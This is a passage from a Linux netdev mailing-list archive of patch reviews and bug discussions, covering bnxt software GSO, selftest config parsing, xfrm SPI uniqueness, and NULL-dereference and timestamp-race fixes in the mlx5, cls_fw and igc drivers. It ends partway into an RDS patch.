* Re: [net-next v6 09/12] net: bnxt: Add SW GSO completion and teardown support
From: Joe Damato @ 2026-03-30 17:07 UTC (permalink / raw)
To: Jakub Kicinski
Cc: netdev, Michael Chan, David S. Miller, Eric Dumazet, Paolo Abeni,
andrew+netdev, horms, pavan.chebbi, linux-kernel, leon
In-Reply-To: <20260329152236.6ad729e6@kernel.org>
On Sun, Mar 29, 2026 at 03:22:36PM -0700, Jakub Kicinski wrote:
> On Thu, 26 Mar 2026 16:52:28 -0700 Joe Damato wrote:
> > + if (head_buf->is_sw_gso == BNXT_SW_GSO_LAST) {
> > + if (dma_use_iova(&head_buf->iova_state))
> > + dma_iova_destroy(&pdev->dev,
> > + &head_buf->iova_state,
> > + head_buf->iova_total_len,
> > + DMA_TO_DEVICE, 0);
>
> Do we have to expose the dma_use_iova() stuff to the driver at all?
> Could we have a function the driver is supposed to call to clean up,
> always, and what the function does is up to the TSO lib?
I could add a tso_dma_map_destroy(dev, iova_state, len) that the driver calls,
but the driver would still need to stash iova_state and total_len on the ring.
That would be easiest, but I'm not sure if you were thinking that the IOVA
stuff should be as opague as possible?
Because if you do want it to be as opague as possible, maybe:
/* Add a struct to tso.h to track completion state */
struct tso_dma_map_completion_state {
struct dma_iova_state iova_state;
size_t total_len;
}
Add a save function: tso_dma_map_completion_save(map, completion_state);
And then:
- the bnxt sw bd stores a struct tso_dma_map_completion_state.
- xmit calls tso_dma_map_completion_save to store the iova_state
- completion calls tso_dma_complete(dev, &head_buf->completion_state)
LMK if you meant the easier way or the more opague way?
^ permalink raw reply
* Re: [PATCH net-next v5 2/9] selftests: net: extend lib.sh to parse drivers/net/net.config
From: Petr Machata @ 2026-03-30 16:42 UTC (permalink / raw)
To: Ioana Ciornei
Cc: netdev, Andrew Lunn, David S. Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, petrm,
willemb, linux-kselftest
In-Reply-To: <20260330152933.2195885-3-ioana.ciornei@nxp.com>
Ioana Ciornei <ioana.ciornei@nxp.com> writes:
> Extend lib.sh so that it's able to parse driver/net/net.config and
> environment variables such as NETIF, REMOTE_TYPE, LOCAL_V4 etc described
> in drivers/net/README.rst.
>
> In order to make the transition towards running with a single local
> interface smoother for the bash networking driver tests, beside sourcing
> the net.config file also translate the new env variables into the old
> style based on the NETIFS array. Since the NETIFS array only holds the
> network interface names, also add a new array - TARGETS - which keeps
> track of the target on which a specific interfaces resides - local,
> netns or accesible through an ssh command.
>
> For example, a net.config which looks like below:
>
> NETIF=eth0
> LOCAL_V4=192.168.1.1
> REMOTE_V4=192.168.1.2
> REMOTE_TYPE=ssh
> REMOTE_ARGS=root@192.168.1.2
>
> will generate the NETIFS and TARGETS arrays with the following data.
>
> NETIFS[p1]="eth0"
> NETIFS[p2]="eth2"
>
> TARGETS[eth0]="local:"
> TARGETS[eth2]="ssh:root@192.168.1.2"
>
> The above will be true if on the remote target, the interface which has
> the 192.168.1.2 address is named eth2.
>
> Since the TARGETS array is indexed by the network interface name,
> document a new restriction README.rst which states that the remote
> interface cannot have the same name as the local one. Keep the old way
> of populating the NETIFS variable based on the command line arguments.
> This will be invoked in case DRIVER_TEST_CONFORMANT = "no".
>
> Also add a couple of helpers which can be used by tests which need to
> run a specific bash command on a different target than the local system,
> be it either another netns or a remote system accessible through ssh.
> The __run_on() function is passed through $1 the target on which the
> command should be executed while run_on() is passed the name of the
> interface that is then used to retrieve the target from the TARGETS
> array.
>
> Also add a stub run_on() function in net/lib.sh so that users of the
> net/lib.sh are going through the stub only since neither NETIFS nor
> TARGETS are valid in that circumstance.
>
> Signed-off-by: Ioana Ciornei <ioana.ciornei@nxp.com>
Reviewed-by: Petr Machata <petrm@nvidia.com>
> +else
> + count=0
> +
> + while [[ $# -gt 0 ]]; do
> + if [[ "$count" -eq "0" ]]; then
> + unset NETIFS
> + declare -A NETIFS
> + fi
> + count=$((count + 1))
This is coming from the original as well, but I find the piece of code
really unobvious. I'm not going to block the patchset over this, but
this would IMHO be a better way to express the intent:
# Prime NETIFS from the command line, but retain if none given.
if [[ $# -gt 0 ]]; then
unset NETIFS
declare -A NETIFS
while [[ $# -gt 0 ]]; do
((count++))
etc
done
fi
If there is a v6, please roll it in.
> + NETIFS[p$count]="$1"
> + TARGETS[$1]="local:"
> + shift
> + done
> +fi
^ permalink raw reply
* Re: [REGRESSION] Discussion on "xfrm: Duplicate SPI Handling"
From: Antony Antony @ 2026-03-30 16:54 UTC (permalink / raw)
To: Yan Yan
Cc: Nathan Harold, Tobias Brunner, antony.antony, Steffen Klassert,
paul, netdev, Herbert Xu, David S . Miller, Eric Dumazet,
Jakub Kicinski, pabeni, horms, saakashkumar, akamluddin, greg
In-Reply-To: <CADHa2dBA=MpBz3_j2kbLr-wb2nsmnYBhyhWb6pjWekEzurBr9w@mail.gmail.com>
[-- Attachment #1: Type: text/plain, Size: 8761 bytes --]
Hi,
I looked into this. I feel a simple solution is use x->dir as Nathan
proposed.
When dir is not set we get pre
commit 94f39804d891 ("xfrm: Duplicate SPI Handling") behaviour.
When XFRM_SA_DIR is set alloc_spi() returns per direction unique spi.
Another benfit is, this would also keep PF_KEY use case as it was before that comit.
Here is simple RFC patch attached.
How does this look?
strongswan 6.0.0, from Dec 2024, sets x->dir.
Aakash would this work for for marvell?
regads,
-antony
On Fri, Mar 27, 2026 at 17:05:13 -0700, Yan Yan wrote:
> Hi all,
> I wanted to send a friendly ping to see if we are aligning on making
> the strict global SPI uniqueness requirement optional, perhaps via a
> toggle or by leveraging the XFRM_SA_DIR attribute as previously
> discussed.
> Are there any other questions or concerns regarding this approach, or
> anything else we should clarify to ensure backward compatibility while
> meeting the needs of modern standards?
> Best,
> Yan
>
> On Tue, Feb 24, 2026 at 3:53 PM Nathan Harold <[1]nharold@google.com>
> wrote:
>
> > That should still be allowed when using the intended APIs (i.e.
> ALLOCSPI
> > for the inbound and NEWSA for the outbound SA). ALLOCSPI might
> enforce
> > a unique SPI without considering the address, as that's intended
> for
> > local, inbound SAs, where the kernel has full control (looking at
> the
> > the patch, it's certainly not ideal, as it goes through all
> installed
> > SAs to find a duplicate and it prevents an inbound SPI that
> matches an
> > existing outbound SPI - I guess that could be resolved by using
> separate
> > tables for in- and outbound SAs). But that must not prevent
> installing
> > outbound SAs with the same SPI to another peer using NEWSA, which
> still
> > uses a hash that includes the destination address (that must
> always be
> > the case because peers are free to allocate whatever SPI they
> want).
> Agreed that there are some unfortunate limitations with the current
> patch. Keying off the inclusion of XFRM_SA_DIR would resolve the
> issue
> you noted (conflating inbound and outbound SPIs) and function as an
> opt-in for this enforcement. Whatever the mechanism though, the new
> behavior should be opt-in rather than opt-out in order to maintain
> backwards compatibility.
> > In my opinion, you are using the API incorrectly... I also
> > don't think there are any benefits in that "consistent larval
> lifecycle"
> > (if you found any, please let us know).
> The Android architecture is multi-tenant and allows userspace apps
> to
> establish SAs. At the time we designed it, this felt like the
> cleanest
> way to facilitate leak-free resource management because the chain of
> associations between kernel resources could be symmetrical (and
> managing them was already quite complicated). Mea culpa (Nathan).
> But,
> correctly or not, it has/had worked for many years.
> > By the way, are you using the min/max option for inbound SAs as
> well,
> > with an SPI generated in userland? That would seem like a
> violation of
> > the intention of the API as well (i.e. letting the kernel control
> the
> > local SPIs).
> We provide following two Android APIs for app developers:
> [2]https://developer.android.com/reference/android/net/IpSecManager#
> allocateSecurityParameterIndex(java.net.InetAddress)
> [3]https://developer.android.com/reference/android/net/IpSecManager#
> allocateSecurityParameterIndex(java.net.InetAddress,%20int)
> Indeed, allocateSecurityParameterIndex is direction-agnostic; both
> overloads are implemented internally by including the min and max
> values in ALLOCSPI. For the variant where app developers provide a
> specific SPI (which is also useful in testing), Android simply sets
> both the min and max parameters to that exact value. Our
> understanding
> of #xfrm_alloc_spi is that min/max are required for ALLOCSPI, and
> otherwise ENOENT will be returned.
> Note that we also use the DADDR as a mandatory part of the tuple
> because of the issue mentioned above: SPIs are only unique in
> conjunction with a DADDR, regardless of direction, and accordingly,
> that’s how Android is expecting the uniqueness requirement be
> enforced. In this way, 5 duplicate SPIs can be used on 5 unique IP
> addresses on the same machine; therefore, a strict "SPI only"
> interpretation for ALLOCSPI (or SPI handling in general) is curious.
> We feel that ALLOCSPI should really enforce the same uniqueness
> requirements as the SAD.
> Best,
> Nathan and Yan
> -Nathan
> On Wed, Feb 18, 2026 at 12:42 AM Tobias Brunner
> <[4]tobias@strongswan.org> wrote:
> >
> > Hi Yan,
> >
> > > For every inbound SA, we allocate SPIs before negotiation. For
> > > outbound SAs, we allocate SPIs once requested by the peer. We
> only
> > > require the (SPI, destination address) combo to be unique. Thus,
> we
> > > may have an inbound and outbound SA sharing an SPI with
> different
> > > destinations, or multiple outbound SAs to different peers
> sharing an
> > > SPI.
> >
> > That should still be allowed when using the intended APIs (i.e.
> ALLOCSPI
> > for the inbound and NEWSA for the outbound SA). ALLOCSPI might
> enforce
> > a unique SPI without considering the address, as that's intended
> for
> > local, inbound SAs, where the kernel has full control (looking at
> the
> > the patch, it's certainly not ideal, as it goes through all
> installed
> > SAs to find a duplicate and it prevents an inbound SPI that
> matches an
> > existing outbound SPI - I guess that could be resolved by using
> separate
> > tables for in- and outbound SAs). But that must not prevent
> installing
> > outbound SAs with the same SPI to another peer using NEWSA, which
> still
> > uses a hash that includes the destination address (that must
> always be
> > the case because peers are free to allocate whatever SPI they
> want).
> >
> > >> If so, why would you use ALLOCSPI and not just install the
> outbound SA? Is it to avoid differences for in- and outbound SAs
> (ALLOCSPI+UPDSA vs. NEWSA)?"
> > >
> > > Exactly—it is primarily for code symmetry. By using ALLOCSPI +
> UPDSA
> > > for both directions, we maintain a consistent larval lifecycle
> and
> > > make it easier to maintain.
> >
> > In my opinion, you are using the API incorrectly. ALLOCSPI is
> intended
> > to allocate a free local SPI for an inbound SA. That is, reserve
> it
> > before and while the details of the SA are negotiated with the
> peer
> > using IKE. This step isn't necessary for outbound SAs and forcing
> such
> > an allocation, after all the details are known, to the responder's
> SPI
> > (which I assume you do via min/max option) doesn't feel right. I
> also
> > don't think there are any benefits in that "consistent larval
> lifecycle"
> > (if you found any, please let us know). And the difference
> between
> > UPDSA and NEWSA is the nlmsg_type (there are some attributes that
> are
> > different for in- and outbound SAs, especially if you set the
> direction
> > in newer kernels, but that's the case regardless of the message
> type).
> >
> > By the way, are you using the min/max option for inbound SAs as
> well,
> > with an SPI generated in userland? That would seem like a
> violation of
> > the intention of the API as well (i.e. letting the kernel control
> the
> > local SPIs).
> >
> > As the XFRM API basically mirrors PF_KEYv2 here, you can find more
> about
> > the two ways to install SAs in RFC 2367 (SADB_GETSPI/UPDATE vs.
> SADB_ADD).
> >
> > Regards,
> > Tobias
> >
>
> --
>
> --
> Best,
> Yan
>
> References
>
> 1. mailto:nharold@google.com
> 2. https://developer.android.com/reference/android/net/IpSecManager#allocateSecurityParameterIndex(java.net.InetAddress)
> 3. https://developer.android.com/reference/android/net/IpSecManager#allocateSecurityParameterIndex(java.net.InetAddress, int)
> 4. mailto:tobias@strongswan.org
[-- Attachment #2: 0001-xfrm-allow-same-SPI-value-for-inbound-and-outbound-S.patch --]
[-- Type: text/x-diff, Size: 3548 bytes --]
From b712c3ff7d586c8ed62005e6a37ae01c4a771ce8 Mon Sep 17 00:00:00 2001
From: Antony Antony <antony.antony@secunet.com>
Date: Wed, 25 Mar 2026 06:02:07 +0100
Subject: [PATCH] xfrm: allow same SPI value for inbound and outbound SAs
Commit 94f39804d891 ("xfrm: Duplicate SPI Handling") introduced
xfrm_state_lookup_spi_proto() to fix duplicate SPI allocation for
inbound SAs with different destination addresses. It enforces global
uniqueness by (spi, proto) across all states regardless of direction.
When x->dir is set, use xfrm_state_lookup_spi_proto() with a strict
per-direction match so that IN and OUT SAs can share a SPI value.
When x->dir is not set, also legacy states created via PF_KEY or without
direction, restore pre-94f39804d891 behavior and check uniqueness by
(daddr, spi, proto) via xfrm_state_lookup(). Extract the mark from
x->mark as required by xfrm_state_lookup().
Move the x->dir assignment in xfrm_alloc_userspi() to before
xfrm_alloc_spi() lookup using dir when it is set.
Signed-off-by: Antony Antony <antony.antony@secunet.com>
---
net/xfrm/xfrm_state.c | 14 ++++++++++++--
net/xfrm/xfrm_user.c | 6 +++---
2 files changed, 15 insertions(+), 5 deletions(-)
diff --git a/net/xfrm/xfrm_state.c b/net/xfrm/xfrm_state.c
index 98b362d51836..1cc4a06f9163 100644
--- a/net/xfrm/xfrm_state.c
+++ b/net/xfrm/xfrm_state.c
@@ -1698,7 +1698,9 @@ struct xfrm_state *xfrm_state_lookup_byspi(struct net *net, __be32 spi,
}
EXPORT_SYMBOL(xfrm_state_lookup_byspi);
-static struct xfrm_state *xfrm_state_lookup_spi_proto(struct net *net, __be32 spi, u8 proto)
+static struct xfrm_state *xfrm_state_lookup_spi_proto(struct net *net,
+ __be32 spi, u8 proto,
+ u8 dir)
{
struct xfrm_state *x;
unsigned int i;
@@ -1707,6 +1709,8 @@ static struct xfrm_state *xfrm_state_lookup_spi_proto(struct net *net, __be32 sp
for (i = 0; i <= net->xfrm.state_hmask; i++) {
hlist_for_each_entry_rcu(x, &net->xfrm.state_byspi[i], byspi) {
if (x->id.spi == spi && x->id.proto == proto) {
+ if (x->dir != dir)
+ continue;
if (!xfrm_state_hold_rcu(x))
continue;
rcu_read_unlock();
@@ -2577,6 +2581,7 @@ int xfrm_alloc_spi(struct xfrm_state *x, u32 low, u32 high,
struct xfrm_state *x0;
int err = -ENOENT;
u32 range = high - low + 1;
+ u32 mark = x->mark.v & x->mark.m;
__be32 newspi = 0;
spin_lock_bh(&x->lock);
@@ -2598,7 +2603,12 @@ int xfrm_alloc_spi(struct xfrm_state *x, u32 low, u32 high,
newspi = htonl(spi);
spin_lock_bh(&net->xfrm.xfrm_state_lock);
- x0 = xfrm_state_lookup_spi_proto(net, newspi, x->id.proto);
+ if (x->dir)
+ x0 = xfrm_state_lookup_spi_proto(net, newspi,
+ x->id.proto, x->dir);
+ else
+ x0 = xfrm_state_lookup(net, mark, &x->id.daddr, newspi,
+ x->id.proto, x->props.family);
if (!x0) {
x->id.spi = newspi;
h = xfrm_spi_hash(net, &x->id.daddr, newspi, x->id.proto, x->props.family);
diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c
index 403b5ecac2c5..98b90c747aad 100644
--- a/net/xfrm/xfrm_user.c
+++ b/net/xfrm/xfrm_user.c
@@ -1873,13 +1873,13 @@ static int xfrm_alloc_userspi(struct sk_buff *skb, struct nlmsghdr *nlh,
goto out_noput;
}
+ if (attrs[XFRMA_SA_DIR])
+ x->dir = nla_get_u8(attrs[XFRMA_SA_DIR]);
+
err = xfrm_alloc_spi(x, p->min, p->max, extack);
if (err)
goto out;
- if (attrs[XFRMA_SA_DIR])
- x->dir = nla_get_u8(attrs[XFRMA_SA_DIR]);
-
resp_skb = xfrm_state_netlink(skb, x, nlh->nlmsg_seq);
if (IS_ERR(resp_skb)) {
err = PTR_ERR(resp_skb);
--
2.39.5
^ permalink raw reply related
* Re: [net-next v6 08/12] net: bnxt: Implement software USO
From: Joe Damato @ 2026-03-30 16:53 UTC (permalink / raw)
To: Jakub Kicinski
Cc: netdev, Michael Chan, David S. Miller, Eric Dumazet, Paolo Abeni,
andrew+netdev, horms, pavan.chebbi, linux-kernel, leon
In-Reply-To: <20260329152016.27646fab@kernel.org>
On Sun, Mar 29, 2026 at 03:20:16PM -0700, Jakub Kicinski wrote:
> On Thu, 26 Mar 2026 16:52:27 -0700 Joe Damato wrote:
> > + /* Upper bound on the number of descriptors needed.
> > + *
> > + * Each segment uses 1 long BD + 1 ext BD + payload BDs, which is
> > + * at most num_segs + nr_frags (each frag boundary crossing adds at
> > + * most 1 extra BD).
> > + */
> > + bds_needed = 3 * num_segs + skb_shinfo(skb)->nr_frags + 1;
> > +
> > + if (unlikely(bnxt_tx_avail(bp, txr) < bds_needed)) {
> > + netif_txq_try_stop(txq, bnxt_tx_avail(bp, txr),
> > + bp->tx_wake_thresh);
> > + return NETDEV_TX_BUSY;
> > + }
> > +
> > + slots = BNXT_SW_USO_MAX_SEGS - (txr->tx_inline_prod - txr->tx_inline_cons);
> > +
> > + if (unlikely(slots < num_segs)) {
> > + netif_txq_try_stop(txq, bnxt_tx_avail(bp, txr),
>
> This looks sus, try_stop() will evaluate the bnxt_tx_avail(bp, txr)
> and leave the ring running.
Yea, I think the slot check can actually be removed entirely. Each segment
consumes 1 inline slot and at least 3 BDs. BNXT_SW_USO_MAX_SEGS is 64 and the
ring's minimum size is 2 * BNXT_SW_USO_MAX_DESCS (420).
Using 64 slots would consume at least 192 BDs, so the check above would fire
first.
I think as long as the ring size is constrained by the code in fix_features
and set_ringparam then this if block can be removed.
> > + bp->tx_wake_thresh);
>
> Is tx_wake_thresh larger than the max USO even for smallest ring size?
Yes, it is.
Maybe its worth adding a comment in the code somewhere to make
this more clear? Not sure where would be an appropriate place, but maybe
bnxt_init_tx_rings?
^ permalink raw reply
* Re: [PATCH net 1/3] net/mlx5e: Add null check for flow namespace in mlx5e_tc_nic_create_miss_table
From: Leon Romanovsky @ 2026-03-30 16:49 UTC (permalink / raw)
To: Oskar Ray-Frayssinet
Cc: saeedm, tariqt, mbloch, andrew+netdev, davem, edumazet, kuba,
pabeni, netdev, linux-rdma, linux-kernel
In-Reply-To: <20260326205824.11749-1-rayfraytech@gmail.com>
On Thu, Mar 26, 2026 at 09:58:22PM +0100, Oskar Ray-Frayssinet wrote:
> mlx5_get_flow_namespace() can return NULL if the namespace is not
> available. Add a null check to prevent potential null pointer
> dereference when accessing ns->node.
MLX5_FLOW_NAMESPACE_KERNEL and MLX5_FLOW_NAMESPACE_FDB flow namespaces are always available.
The driver and device cannot operate without them.
Thanks
>
> Signed-off-by: Oskar Ray-Frayssinet <rayfraytech@gmail.com>
> ---
> drivers/net/ethernet/mellanox/mlx5/core/en_tc.c | 4 ++++
> 1 file changed, 4 insertions(+)
>
> diff --git a/drivers/net/ethernet/mellanox/mlx5/core/en_tc.c b/drivers/net/ethernet/mellanox/mlx5/core/en_tc.c
> index 1434b65d4746..503c9cc96a02 100644
> --- a/drivers/net/ethernet/mellanox/mlx5/core/en_tc.c
> +++ b/drivers/net/ethernet/mellanox/mlx5/core/en_tc.c
> @@ -5216,6 +5216,10 @@ static int mlx5e_tc_nic_create_miss_table(struct mlx5e_priv *priv)
> ft_attr.level = MLX5E_TC_MISS_LEVEL;
> ft_attr.prio = 0;
> ns = mlx5_get_flow_namespace(priv->mdev, MLX5_FLOW_NAMESPACE_KERNEL);
> + if (!ns) {
> + netdev_err(priv->netdev, "failed to get flow namespace\n");
> + return -EOPNOTSUPP;
> + }
>
> *ft = mlx5_create_auto_grouped_flow_table(ns, &ft_attr);
> if (IS_ERR(*ft)) {
> --
> 2.43.0
>
^ permalink raw reply
* Re: [PATCH net 1/3] net/sched: cls_fw: fix NULL pointer dereference on shared blocks
From: Jamal Hadi Salim @ 2026-03-30 16:45 UTC (permalink / raw)
To: Xiang Mei; +Cc: netdev, jiri, davem, edumazet, kuba, horms, shuah, bestswngs
In-Reply-To: <s52rg5clqff6z44qdnjcthqhp3bhyzqn322esxj4caw7tqtkdw@2povbhh5efc7>
On Sun, Mar 29, 2026 at 2:52 PM Xiang Mei <xmei5@asu.edu> wrote:
>
> On Sun, Mar 29, 2026 at 08:15:17AM -0400, Jamal Hadi Salim wrote:
> > On Fri, Mar 27, 2026 at 10:11 AM Jamal Hadi Salim <jhs@mojatatu.com> wrote:
> > >
> > > On Fri, Mar 27, 2026 at 2:13 AM Xiang Mei <xmei5@asu.edu> wrote:
> > > >
> > > > The old-method path in fw_classify() calls tcf_block_q() and
> > > > dereferences q->handle. Shared blocks leave block->q NULL, causing a
> > > > NULL deref when an empty cls_fw filter is attached to a shared block
> > > > and a packet with a nonzero major skb mark is classified.
> > > >
> > > > Check tcf_block_shared() before accessing block->q and return -1 (no
> > > > match) for shared blocks, consistent with cls_u32's tc_u_common_ptr().
> > > >
> > > > The fixed null-ptr-deref calling stack:
> > > > KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f]
> > > > RIP: 0010:fw_classify (net/sched/cls_fw.c:81)
> > > > Call Trace:
> > > > tcf_classify (./include/net/tc_wrapper.h:197 net/sched/cls_api.c:1764 net/sched/cls_api.c:1860)
> > > > tc_run (net/core/dev.c:4401)
> > > > __dev_queue_xmit (net/core/dev.c:4535 net/core/dev.c:4790)
> > > >
> > > > Fixes: 1abf272022cf ("net: sched: tcindex, fw, flow: use tcf_block_q helper to get struct Qdisc")
> > > > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > > > Signed-off-by: Xiang Mei <xmei5@asu.edu>
> > >
> > > Thanks for also providing the tdc tests. Looks like a bizarre bug—and
> > > in my mind the question is does fw or flow even factor into tc blocks?
> > > Please give me time to review if the approach makes sense - perhaps
> > > this weekend.
> > >
> > Since the fix is exactly as what u32 does - why not move
> > tc_u_common_ptr() to a header file (pkt_cls.h)? then reuse it in u32,
> > fw, and flow.
>
> Thank you for the suggestion, I appreciate the review.
>
Actually on second thought - why dont you fix the fw one so it catches
things at control time? Something like:
--- a/net/sched/cls_fw.c
+++ b/net/sched/cls_fw.c
@@ -247,8 +247,18 @@ static int fw_change(struct net *net, struct
sk_buff *in_skb,
struct nlattr *tb[TCA_FW_MAX + 1];
int err;
- if (!opt)
- return handle ? -EINVAL : 0; /* Succeed if it is old method. */
+ if (!opt) {
+ if (handle)
+ return -EINVAL;
+
+ if (tcf_block_shared(tp->chain->block)) {
+ NL_SET_ERR_MSG(extack,
+ "Must specify mark when
attaching fw filter to block");
+ return -EINVAL;
+ }
+
+ return 0; /* Succeed if it is old method. */
+ }
err = nla_parse_nested_deprecated(tb, TCA_FW_MAX, opt, fw_policy,
NULL);
Also for the flow one, can you add an extack like above.
Note: This will change the nature of your tdc test, you dont need to
send an skb marked packet anymore since your config will be reject the
setup..
cheers,
jamal
> I spent some time exploring how to reuse tc_u_common_ptr() in cls_fw and
> cls_flow, but I'm not sure I see a clean way to make it work across all
> three classifiers. The core issue is that they need different things
> when the block is shared:
>
> - cls_u32 needs a pointer value (block or block->q) as a hash key for
> tc_u_common lookup
> - cls_fw and cls_flow need to bail out and return -1 (no match)
>
> If we keep tc_u_common_ptr() as-is (returning void *), the usage in
> fw/flow would be tc_u_common_ptr(tp) == block to detect shared blocks,
> which is less clear than tcf_block_shared(block) and doesn't save any
> code.
>
> If we rework it to return struct Qdisc * (NULL for shared), it would
> break cls_u32's current usage where it needs the block pointer itself
> as a hash key for the shared case.
>
> I may be misunderstanding your suggestion though — could you share
> what you had in mind?
>
> Thank you again for your time,
> Xiang
> >
> > I am still questioning the value of using blocks with these two
> > classifiers and unfortunately the commit message of 1abf272022cf was
> > not helpful.
> > The testcases look good. Please add a letter head, perhaps quote the
> > comment in tc_u_common_ptr() since it gives a good description of this
> > whole dance.
> >
> > cheers,
> > jamal
^ permalink raw reply
* Re: [net-next v6 07/12] net: bnxt: Add boilerplate GSO code
From: Joe Damato @ 2026-03-30 16:45 UTC (permalink / raw)
To: Jakub Kicinski
Cc: netdev, Michael Chan, David S. Miller, Eric Dumazet, Paolo Abeni,
Richard Cochran, Alexei Starovoitov, Daniel Borkmann,
Jesper Dangaard Brouer, John Fastabend, andrew+netdev, horms,
pavan.chebbi, linux-kernel, leon, bpf
In-Reply-To: <20260329151230.7acacbb9@kernel.org>
On Sun, Mar 29, 2026 at 03:12:30PM -0700, Jakub Kicinski wrote:
> On Thu, 26 Mar 2026 16:52:26 -0700 Joe Damato wrote:
> > @@ -891,6 +891,7 @@ struct bnxt_sw_tx_bd {
> > u8 is_ts_pkt;
> > u8 is_push;
> > u8 action;
> > + u8 is_sw_gso;
> > unsigned short nr_frags;
>
> nit: maybe group the is_* together, IOW move new fields before @action?
Sure, will do for the v7. Thanks for the review.
^ permalink raw reply
* Re: [net-next v6 01/12] net: tso: Introduce tso_dma_map
From: Joe Damato @ 2026-03-30 16:45 UTC (permalink / raw)
To: Jakub Kicinski
Cc: netdev, David S. Miller, Eric Dumazet, Paolo Abeni, andrew+netdev,
horms, michael.chan, pavan.chebbi, linux-kernel, leon
In-Reply-To: <20260329151147.6d2fc8e0@kernel.org>
On Sun, Mar 29, 2026 at 03:11:47PM -0700, Jakub Kicinski wrote:
> On Thu, 26 Mar 2026 16:52:20 -0700 Joe Damato wrote:
> > Add struct tso_dma_map to tso.h for tracking DMA addresses of mapped
> > GSO payload data.
> >
> > The struct combines DMA mapping storage with iterator state, allowing
> > drivers to walk pre-mapped DMA regions linearly. Includes fields for
> > the DMA IOVA path (iova_state, iova_offset, total_len) and a fallback
> > per-region path (linear_dma, frags[], frag_idx, offset).
> >
> > Helpers to initialize and operate on this struct will be added in the
> > next commit.
>
> Let's squash this with patch 2? Quite useful to see the struct when
> reviewing the code..
Sure, will do for the v7.
^ permalink raw reply
* Re: [PATCH] igc: fix Tx timestamp timeout caused by unlocked TIMINCA write in adj fine
From: Vadim Fedorenko @ 2026-03-30 16:39 UTC (permalink / raw)
To: Bob Van Valzah, intel-wired-lan; +Cc: anthony.l.nguyen, netdev, julianstj, jeff
In-Reply-To: <D1C3B3DF-960F-40C7-BBD7-994359F0C8AD@vanvalzah.com>
On 29/03/2026 04:25, Bob Van Valzah wrote:
> Hi,
>
> We found a race in igc_ptp_adjfine_i225() that causes "Tx timestamp
> timeout" errors and eventually wedges EXTTS when a PTP grandmaster
> (ptp4l with hardware timestamping) runs concurrently with PHC
> frequency discipline (any GPSDO calling clock_adjtime ADJ_FREQUENCY).
>
> Root cause: igc_ptp_adjfine_i225() writes IGC_TIMINCA without holding
> any lock. Every other PTP clock operation in igc_ptp.c (adjtime,
> gettime, settime) holds tmreg_lock, but adjfine does not. When the
> increment rate changes while the hardware is capturing a TX timestamp,
> the captured value is corrupt. The driver retries for
> IGC_PTP_TX_TIMEOUT (15s), then logs the timeout and frees the skb.
> Repeated occurrences eventually prevent EXTTS from delivering events.
>
> The attached reproducer (triggers in ~17 seconds on i226):
>
> One thread calling clock_adjtime(ADJ_FREQUENCY) at ~200k/s on the
> PHC, another sending UDP packets with SO_TIMESTAMPING requesting
> hardware TX timestamps at ~100k/s. A Python reproducer is at:
> https://github.com/bobvan/PePPAR-Fix/blob/main/tools/igc_tx_timeout_repro.py
>
> At realistic rates (1 Hz adjfine from a GPSDO + ptp4l at 128 Hz
> sync), the race triggers in ~30 minutes.
>
> The attached patch holds ptp_tx_lock around the TIMINCA write and
> skips the write if any TX timestamps are pending (tx_tstamp[i].skb
> != NULL), returning -EBUSY. This doesn't fully close the hardware
> race (a new TX capture can start between the check and the write),
> but at realistic rates the residual probability gives ~25 year MTBF
> vs ~30 minutes without the patch.
>
> A complete fix would likely require either disabling TX timestamping
> around TIMINCA writes (via TSYNCTXCTL), or making the timeout recovery
> path more robust so a single corrupt timestamp doesn't wedge the
> subsystem. We'd welcome guidance from the igc maintainers on the
> preferred approach.
>
> Tested on:
> - Intel i226 (TimeHAT v5 board on Raspberry Pi 5)
> - Kernel 6.12.62+rpt-rpi-2712 (Raspberry Pi OS)
> - Intel out-of-tree igc driver 5.4.0-7642.46
> - Stock upstream igc_ptp.c (same code, same bug)
>
> Bob
>
> ---
>
> drivers/net/ethernet/intel/igc/igc_ptp.c | 18 +++++++++++++++++-
> 1 file changed, 17 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/net/ethernet/intel/igc/igc_ptp.c b/drivers/net/ethernet/intel/igc/igc_ptp.c
> index XXXXXXX..XXXXXXX 100644
> --- a/drivers/net/ethernet/intel/igc/igc_ptp.c
> +++ b/drivers/net/ethernet/intel/igc/igc_ptp.c
> @@ -47,8 +47,10 @@ static int igc_ptp_adjfine_i225(struct ptp_clock_info *ptp, long scaled_ppm)
> {
> struct igc_adapter *igc = container_of(ptp, struct igc_adapter,
> ptp_caps);
> struct igc_hw *hw = &igc->hw;
> + unsigned long flags;
> int neg_adj = 0;
> u64 rate;
> u32 inca;
> + int i;
>
> if (scaled_ppm < 0) {
> neg_adj = 1;
> @@ -63,7 +65,21 @@ static int igc_ptp_adjfine_i225(struct ptp_clock_info *ptp, long scaled_ppm)
> if (neg_adj)
> inca |= ISGN;
>
> - wr32(IGC_TIMINCA, inca);
> + /* Changing the clock increment rate while a TX timestamp is being
> + * captured by the hardware can corrupt the timestamp, causing the
> + * driver to report "Tx timestamp timeout" and eventually wedging
> + * the EXTTS subsystem. Serialize with pending TX timestamps:
> + * skip the rate change if any are in flight.
> + */
> + spin_lock_irqsave(&igc->ptp_tx_lock, flags);
> + for (i = 0; i < IGC_MAX_TX_TSTAMP_REGS; i++) {
> + if (igc->tx_tstamp[i].skb) {
> + spin_unlock_irqrestore(&igc->ptp_tx_lock, flags);
> + return -EBUSY;
> + }
> + }
> + wr32(IGC_TIMINCA, inca);
> + spin_unlock_irqrestore(&igc->ptp_tx_lock, flags);
It's a bit weird solution, because in this case we may end up having no
successful calls to adjfine with high amount of TX timestamp packets in
flight. Another problem here is that access to timing registers is
guarded by tmreg_lock, but here you use ptp_tx_lock, which protects
queue.
Were you able to recover "corrupted" time stamps to figure out why they
are discarded?
>
> return 0;
> }
> --
> 2.39.2
^ permalink raw reply
* [PATCH net] rds: ib: reject FRMR registration before IB connection is established
From: Weiming Shi @ 2026-03-30 16:32 UTC (permalink / raw)
To: Allison Henderson, David S . Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni
Cc: Simon Horman, netdev, linux-rdma, Xiang Mei, Weiming Shi
rds_ib_get_mr() extracts the rds_ib_connection from conn->c_transport_data
and passes it to rds_ib_reg_frmr() for FRWR memory registration. On a
fresh outgoing connection, ic is allocated in rds_ib_conn_alloc() with
